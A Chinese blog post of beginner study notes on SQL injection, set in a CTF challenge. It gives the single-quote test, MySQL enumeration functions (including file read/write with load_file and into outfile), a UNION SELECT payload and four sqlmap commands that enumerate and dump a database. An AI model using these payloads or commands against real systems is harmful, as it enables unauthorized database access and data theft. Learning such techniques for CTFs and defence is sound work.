美文网首页
sql注入学习

sql注入学习

作者: Emily0917 | 来源:发表于2018-12-09 15:02 被阅读0次


sql注入笔记!

判断是否存在注入漏洞   经典的单引号判断。

select * from xx where id= x'

报错说明存在注入漏洞 不报错也不一定就不存在。。可能进行了单引号的过滤。

select * from xx where id=x'  这里写的都是sql的查询代码。

// #

在渗透测试中常用的几个函数和表库名

2018-11-13

数据库名:database()

数据库版本: version()

数据库用户: user()

操作系统: @@version_compile_os

系统用户名: system_user()

当前用户名: current_user

连接数据库的用户名:session_user()

一次性显示:group_concat()

读取数据库路径:@@datadir

MYSQL安装路径:@@basedir

load_file 转成16进制或者10进制 MYSQL读取本地文件函数

into outfile 写入函数

储存所有数据库信息的表 : information_schema.schemata

储存所有表名信息的表 : information_schema.tables

储存所有列名信息的表 : information_schema.columns

表名 : table_name

数据库名: table_schema

字段名 : column_name

www.7ten7.top

今天做了一道题目,

一个神奇的登录框: -1" union select 1,database() from information_schema.schemata #

这是在查询他的数据库名字,。。发现什么都没有给我.


如图,他只有2个列,1,2  然后查询 下 1, 2 和 查询 1,database() 是一样的。就是把查询2 的位置变成了查询数据库的名字。 查询2个列,他只给了一个回显位。所有我们就应该把1位置放数据库查询,这样才能显示出来。

(来自小白的叹息。。。。)

关于sqlmap 的无情素质4连!

先把头文件保存起来。最好加上要传输的数据

//以下命令在kali 2.0中运行正常

1、sqlmap -r "/zzz/1.txt" -p admin_name --dbs

-r + 路径是以只读方式打开 -p + admin_name是选取admin_name为注入点(injection point) --dbs是爆破数据库名

2、sqlmap -r "/zzz/1.txt" -D bugkusql1 -p admin_name --tables

--tables 是爆列表名

3、sqlmap -r "/zzz/1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

--columns是爆列名

4、sqlmap -r "/zzz/1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

--dump是爆字段

最后得到flag

相关文章

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • web安全之SQL注入

    2018/07/06 23:41 慕课网web安全之SQ之注入课程学习笔记 什么是SQL注入? 如何寻找SQL注入...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • 无处不在的SQL注入

    实训中学习了一下sql注入。于是在i春秋发现了简单的sql注入于是就做的玩了玩。 【无处不在的SQL注入】 下面是...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • DVWA-SQL Injection(SQL注入)

    本系列文集:DVWA学习笔记 SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执...

网友评论

      本文标题:sql注入学习

      本文链接:https://www.haomeiwen.com/subject/pezhhqtx.html